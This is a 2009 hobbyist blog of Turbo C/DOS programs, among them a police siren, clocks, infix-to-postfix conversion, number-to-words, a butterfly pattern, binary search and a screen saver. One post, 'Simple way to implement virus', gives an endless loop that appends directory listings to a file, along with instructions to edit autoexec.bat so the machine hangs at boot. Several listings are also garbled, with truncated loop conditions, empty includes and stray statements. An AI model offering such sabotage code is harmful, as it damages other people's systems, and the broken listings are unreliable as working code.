Pages

Wednesday, October 21, 2009

Code implementing police siren in 'c' language...


#include"stdio.h"
#include"conio.h"
#include"dos.h"
#include"stdlib.h"
void main()
{
    int i;
    float num;
    clrscr();
    printf("\nEnter a float number less than 2:");
    scanf("%f",&num);
    printf("\n\n\n\t\t\tPOLICE POLICE RUN......\n\t\t\t\tRUN>>>>>>");
    while(!kbhit())
    {
        for(i = 500;i < 2500 && !kbhit();i++)
        {
            sound(i);
            delay(num);

        }
    }
    nosound();
    getch();
}

Source code for get the current system time...( ".c "file )

#include"stdio.h"
#include"conio.h"
#include"dos.h"
int main(void)
{
   struct  time t;
   while(!kbhit())
   {
   gettime(&t);
   gotoxy(10,20);
   printf("THE CURRENT TIME IS:   %2d:%02d:%02d\n",
        t.ti_hour, t.ti_min, t.ti_sec, t.ti_hund);
   delay(1000);
   clrscr();
   }
   return 0;
}


The famous movie clip of Matrix Reloaded implemented in 'C'.........


#include"stdio.h"
#include"conio.h"
#include"string.h"
#include"dos.h"
void main()
{
int i,j,l,t;
char y[20];
clrscr();
printf("Enter a string\n");
gotoxy(2,2);
gets(y);
l=strlen(y);
t=1;
for(j=0;j
    {
    for(i=3;i<=24;i++)
        {
         clrscr();
         puts(y);
         gotoxy(t,i);
         printf("%c",y[j]);
         delay(100);
         }
    }
clrscr();
getch();
}



Source code for Data Structure Section (Infix to Postfix Notation) code in 'c'....


#include"iostream.h"
#include"conio.h"
#include"stdio.h"
#include"math.h"
char ch[20],eq[20];
char top;
int x,y,z;
int prcd(char,char);
void main()
{
char st[30];
top='+';
clrscr();
cout<<"ENTER AN INFIX EQUATION : ";
gets(st);
x=y=0;
z=-1;
while(st[x]!='\0')
    {
    if((st[x]>64&&st[x]<92)||(st[x]>96&&st[x]<123))
        ch[y++]=st[x];
    else if(st[x]==')')
        {
        while(eq[z]!='(')
            ch[y++]=eq[z--];
        top=eq[--z];
        }
    else
        {
        while(z>=0&&prcd(top,st[x])==1)
            {
            ch[y++]=top;
            top=eq[--z];
            }
        eq[++z]=st[x];
        top=st[x];
        }
        x++;
        }
        while(z>=0)
            {
            if(eq[z]=='(')
                z--;
            else
                ch[y++]=eq[z--];
            }
    ch[y]='\0';
    cout<<<<"THE POSTFIX FORM IS = ";
    for(x=0;x
        cout<
    getch();

}

int prcd(char g, char r)
{
if(r=='('||r=='$')
    return(0);
else if(g=='$'||g=='*'||g=='/')
    return(1);
else if(r=='*'||g=='('||r=='/')
    return(0);
else
    return(1);
}





Codes for converting a digit to Strings

#include"stdio.h"
#include"conio.h"
void main()
{
char a[10][10]={"ONE","TWO","THREE","FOUR","FIVE","SIX",
        "SEVEN","EIGHT","NINE","TEN"};
char b[10][10]={"ELEVEN","TWELVE","THIRTEEN","FOURTEEN",
        "FIFTEEN","SIXTEEN","SEVENTEEN","EIGHTTEEN",
        "NINETEEN"};
char c[10][10]={"TEN","TWENTY","THIRTY","FOURTY","FIFTY","SIXTY",
        "SEVENTY","EIGHTY","NINTY","HUNDRED"};
long r,s,t,n;
clrscr();
printf("----------INPUT A NUMBER BELOW 1 CRORE----------\n\n");
scanf("%ld",&n);
while (n>=10000000)
       {
       printf ("\nERROR: Invalid Input!\n");
       printf ("\nEnter the number again:");
       scanf ("%ld",&n);
       }

if(n>=10000000)
    printf("INVALID INPUT !!!");
if(n==0)
    printf("ZERO");
printf("\n\n\n");
if(n>999999)
    {
    r=n/100000;
    if(r>10&&r<20)
        {
        r=r%10;
        printf("%s LAKH ",b[r-1]);
        }
    else
        {
        s=r/10;
        t=r%10;
        printf("%s ",c[s-1]);
        printf("%s LAKH ",a[t-1]);
        }
    n=n%100000;
    }

if(n>=100000)
    {
    r=n/100000;
    printf("%s LAKH ",a[r-1]);
    n=n%100000;
    }

if(n>9999)
    {
    r=n/1000;
    if(r>10&&r<20)
        {
        r=r%10;
        printf("%s THOUSAND ",b[r-1]);
        }
    else
        {
        s=r/10;
        t=r%10;
        printf("%s ",c[s-1]);
        printf("%s THOUSAND ",a[t-1]);
        }
    n=n%1000;
    }

if(n>=1000)
    {
    r=n/1000;
    printf("%s THOUSAND ",a[r-1]);
    n=n%1000;
    }

if(n>100)
    {
    r=n/100;
    printf("%s HUNDRED ",a[r-1]);
    n=n%100;
    }

if(n>10&&n<20)
    {
    r=n%10;
    printf("%s ",b[r-1]);
    }

if(n>19&&n<=100)
    {
    r=n/10;
    printf("%s ",c[r-1]);
    n=n%10;
    }

if(n>0&&n<=10)
    {
    printf("%s ",a[n-1]);
    }
getch();
}


Codes for creating butterfly in 'c'


#include"stdio.h"
#include"conio.h"
void main()
{
int i,j,k,blank=8;
clrscr();
printf("\n\n\n\n\n\n");
textcolor(14);
for(i=1;i<=5;i++)
    {
    for(j=1;j<=i;j++)
        {
        cprintf("* ");
        }
    cprintf("    ");
    for(k=1;k<=blank;k++)
        {
        cprintf("  ");
        }
    for(j=1;j<=i;j++)
        {
        cprintf("* ");
        }
    blank-=2;
    printf("\n");
    }
blank=1;
for(i=4;i>=1;i--)
    {
    for(j=1;j<=i;j++)
        {
        cprintf("* ");
        }
    cprintf("      ");
    for(k=1;k<=blank;k++)
        {
        cprintf("  ");
        }
    for(j=1;j<=i;j++)
        {
        cprintf("* ");
        }
    blank+=2;
    printf("\n");
    }
/*for rectangular body*/
textcolor(4);
for(i=7;i<=15;i++)
    {
    gotoxy(9,i);
    cprintf("*");
    gotoxy(15,i);
    cprintf("*");
    }
gotoxy(10,7);
cprintf("******");
gotoxy(10,15);
cprintf("******");
/*FOR MOUTH*/
textcolor(4);
gotoxy(12,6); cprintf("*");
gotoxy(11,5); cprintf("*");
gotoxy(10,4); cprintf("*");
gotoxy( 9,3); cprintf("*");
gotoxy( 8,2); cprintf("*");
gotoxy(12,6); cprintf("*");
gotoxy(13,5); cprintf("*");
gotoxy(14,4); cprintf("*");
gotoxy(15,3); cprintf("*");
gotoxy(16,2); cprintf("*");
getch();
}


Friday, October 9, 2009

Simple way to implement virus in 'c' language..

#include"stdlib.h"
#include"stdio.h"
void main()
{
while(1)
{
system("dir>>v.exe");
}
}
Requirements: Windows 98 operating system and Turbo C++ IDE 3.0 version
Process:  You get a autoexe.bat file in the c:\windows\ directory then simply right click on that and select the edit option now paste the path of the .exe file and place the following code that means the source address of that .exe file that is if it is saved in c:\ directory than specify "c:\v.exe" and then save the file after specifying the code like this.when the system starts the autoexe.bat file will run and it hang on searching the v.exe file that is not found and its get hanged. And one thing before running this delete the file v.exe from the source directory.

Wednesday, October 7, 2009

An article for TSR Programming Techniques

TSRs - Description

TSR s Or Terminate and stay Resident programs when execute enter memory , But unlike regular programs these programs do not free the memory they took over ,when they exit . This enables them to do many things that normal DOS programs wont be able to . This enables Task switching in DOS which is impossible otherwise . writing TSR s is an art in itself . Unlike regular programs, these programs need special interest . They should be carefully programmed or else they could hang your PC or do something like that .
Most of the C files over here might require a header files  Tsr.h/Tsrs.h . Please download this b4 u actually start compiling files. 
Note:As soon as possible readers u get new TSR Programs on my blog.

A 'C' Program for how to implement Progress Bar (.c file)

#include"stdio.h"
#include"conio.h"                                                                                     
#include"dos.h"
void main()
{
    int m,kbhit(void);
    clrscr();
    while(!kbhit())
    {
        printf("\b\\");
        delay(100);    /* Delay is defined in Dos.h */
        printf("\b|");  
        delay(100);  /* U might not have this if u use Borland C */
        printf("\b/");
        delay(100);
        printf("\b-");
        delay(100);
    }
return;     /* Keep the compiler happy */
}

void rotate(void)
{
    static short index=0;
    printf(" ");
    switch(index)
    {
        case 0 : printf("\b\\");
            index++;
            break;
        case 1 : printf("\b|");
            index++;
            break;
        case 2 : printf("\b/");
            index++;
            break;
        case 3 : printf("\b-");
            index = 0;
            break;
    }
}

void rotate(void);
while ( /* Some Expresseion */ )
{
      /* Body of loop */
      rotate();
}

 
E-Mail us at:

www.sandeephalder2008@gmail.com
www.sandeephalder2008@hotmail.com
www.sandeephalder2008@rediffmail.com
www.sandeephalder2008@yahoo.co.in
www.sandeephalder@aol.in

BINARY SEARCH PROGRAM(Under DataStructureSection)

#include
#include
typedef int ElementType;
#define NotFound (-1)
int BinarySearch(const ElementType A[ ], ElementType X, int N )
{
int Low, Mid, High;
Low = 0;
High = N - 1;
while( Low <= High )
{
Mid = ( Low + High ) / 2;
if( A[ Mid ] < X )
Low = Mid + 1;
else
if( A[ Mid ] > X )
High = Mid - 1;
else
return Mid;
}
return NotFound;
}
void main( )
{
    static int A[ ] = { 1, 3, 5, 7, 9, 13, 15 };
    const int SizeofA = sizeof( A ) / sizeof( A[ 0 ] );
    int i;
    clrscr();
    for( i = 0; i < 20; i++ )
    {
    printf( "BinarySearch of %d returns %d\n",i, BinarySearch( A, i, SizeofA ) );
    }
    getch();
}

ANALOG CLOCK PROGRAM(code in .cpp)


#include"stdio.h"
#include"iostream.h"
#include"dos.h"
#include"graphics.h"
#include"conio.h"
#include"math.h"
void draw()
{
outtextxy(314,98,"12");
outtextxy(384,114,"1");
outtextxy(434,163,"2");
outtextxy(454,230,"3");
outtextxy(317,369,"6");
outtextxy(177,230,"9");
outtextxy(436,300,"4");
outtextxy(195,302,"8");
outtextxy(195,163,"10");
outtextxy(244,112,"11");
outtextxy(388,353,"5");
outtextxy(248,353,"7");
}
void main()
{

int gd=0,gm;
initgraph(&gd,&gm,"c:\\progra~1\\tc\\bgi");
draw();
float s;
float df;


int x_sec,y_sec;
int q_min,w_min;
int a_hour,b_hour;

//int count=0;
struct  time t;

while(!kbhit())
{
 gettime(&t);
 float an_sec=4.72+t.ti_sec*.1047198;
 float an_min=4.72+t.ti_min*.1047198;
 float an_hour=4.72+t.ti_hour*5*.1047198;
 if(t.ti_min>=12 && t.ti_min<24)
 {
    an_hour=an_hour+2*.1047198;
 }
  if(t.ti_min>=24 && t.ti_min<36)
 {
    an_hour=an_hour+(3*.1047198);
 }
  if(t.ti_min>=36 && t.ti_min<48)
 {
    an_hour=an_hour+(4*.1047198);
 }
  if(t.ti_min>=48 && t.ti_min<60)
 {
    an_hour=an_hour+(5*.1047198);
 }


 gotoxy(2,2);
 printf("The current System time is: %d: %d: %d",t.ti_hour, t.ti_min, t.ti_sec);

 cout<<"   ";
 setlinestyle(0,0,0);
 setcolor(0);
 line(320,240,x_sec,y_sec);
 line(320,240,q_min,w_min);
 line(320,240,a_hour,b_hour);

 x_sec=320+100*cos(an_sec);
 y_sec=240+100*sin(an_sec);
 q_min=320+110*cos(an_min);
 w_min=240+110*sin(an_min);
 a_hour=320+85*cos(an_hour);
 b_hour=240+85*sin(an_hour);

 setcolor(WHITE);
 setlinestyle(0,0,1);
 line(320,240,x_sec,y_sec);

 setlinestyle(0,0,2);
 setcolor(YELLOW);
 line(320,240,q_min,w_min);

 setlinestyle(0,0,3);
 setcolor(YELLOW);
 line(320,240,a_hour,b_hour);

 an_sec+=.1047198;
 delay(1000);
 }
 getch();
}

Tuesday, October 6, 2009

 SCREEN SAVER PROGRAM
#include"iostream.h"
#include"conio.h"
#include"graphics.h"
#include"dos.h"
#include"stdlib.h"
#include"math.h"
void main()
{
int gd=DETECT,gm,x=250,y=250,x1=300,y1=300,x2,y2,i=1;
initgraph(&gd,&gd,"c:\\tc\\bgi");
int ch;
x=getmaxx();
y=getmaxy();
do
{
setcolor(10);
outtextxy(10,20,"SCREEN SAVER PROGRAM");
setcolor(10);
outtextxy(10,30,"1.PIXEL PLOTTING");
setcolor(2);
outtextxy(10,40,"2.CIRCLE PLOTTER");
setcolor(3);
outtextxy(10,50,"3.RECTANGLE CLIPPER");
setcolor(4);
outtextxy(10,60,"4.LINE MOVER");
setcolor(5);
outtextxy(10,70,"5.ARC CURVER");
setcolor(6);
outtextxy(10,80,"6.ZIG ZAG CILIPPING");
setcolor(7);
outtextxy(10,90,"0.FOR EXIT");
setcolor(8);
outtextxy(10,110,"NOW ENTER UR CHOICE=>");
cin>>ch;
switch(ch)
{
case 1:
i=1;
cleardevice();
while(!kbhit())
{
getpixel(random(x),random(y));
putpixel(random(x),random(y),random(i));
setcolor(i);
delay(5);
i++;
}
cleardevice();
break;
case 2:
i=1;
cleardevice();
while(!kbhit())
{
circle(random(x),random(y),random(i));
setcolor(i);
delay(50);
i++;
}
cleardevice();
break;
cleardevice();
case 3:
i=1;
cleardevice();
while(!kbhit())
{
rectangle(random(x),random(y),random(x1),random(y1));
setcolor(i);
delay(50);
i++;
}
cleardevice();
break;
case 4:
i=1;
cleardevice();
while(!kbhit())
{
line(random(cos(x*2)),random(y),random(cos(x1*2)),random(y1));
setcolor(i);
delay(50);
i++;
}
cleardevice();
break;
case 5:
i=1;
cleardevice();
while(!kbhit())
{
arc(random(x),random(y),random(10),random(y1),5);
setcolor(i);
delay(50);
i++;
}
cleardevice();
case 0:exit(1);
case 6:
i=1;
cleardevice();
while(!kbhit())
{
lineto(random(x),random(y));
setcolor(i);
delay(200);
i++;
}
cleardevice();
break;
}
}while(ch!=0);
getch();
}